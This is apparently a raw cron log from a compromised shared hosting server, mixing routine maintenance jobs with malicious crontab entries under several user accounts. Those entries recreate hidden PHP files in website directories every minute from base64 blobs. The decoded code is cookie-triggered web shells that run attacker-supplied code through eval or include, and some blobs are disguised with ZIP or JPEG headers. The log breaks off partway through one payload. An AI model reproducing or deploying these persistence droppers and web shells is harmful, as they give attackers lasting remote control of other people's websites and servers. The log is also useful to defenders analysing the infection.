vbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:28:01 medusa CROND[470]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:28:01 medusa CROND[471]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:28:01 medusa CROND[475]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:28:01 medusa CROND[477]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:28:01 medusa CROND[474]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:28:01 medusa CROND[479]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:29:01 medusa CROND[22005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:29:01 medusa CROND[22222]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:29:01 medusa CROND[22223]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:29:01 medusa CROND[22226]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:29:01 medusa CROND[22232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:29:01 medusa CROND[22233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 14:29:01 medusa CROND[22235]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:29:01 medusa CROND[22236]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:29:01 medusa CROND[22238]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:29:01 medusa CROND[22242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:29:01 medusa CROND[22243]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:29:01 medusa CROND[22246]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:29:01 medusa CROND[22249]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:30:02 medusa CROND[8695]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:30:02 medusa CROND[8781]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:30:02 medusa CROND[9006]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 14:30:02 medusa CROND[9007]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:30:02 medusa CROND[9008]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:30:02 medusa CROND[9009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:30:02 medusa CROND[9011]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:30:02 medusa CROND[9014]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:30:02 medusa CROND[9013]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:30:02 medusa CROND[9016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:30:02 medusa CROND[9015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:30:02 medusa CROND[9018]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9020]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9025]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:30:02 medusa CROND[9045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 14:30:02 medusa CROND[9046]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9048]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:30:02 medusa CROND[9050]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9035]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 14:30:02 medusa CROND[9053]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:30:02 medusa CROND[9058]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:30:02 medusa CROND[9055]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9061]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 14:30:02 medusa CROND[9064]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdG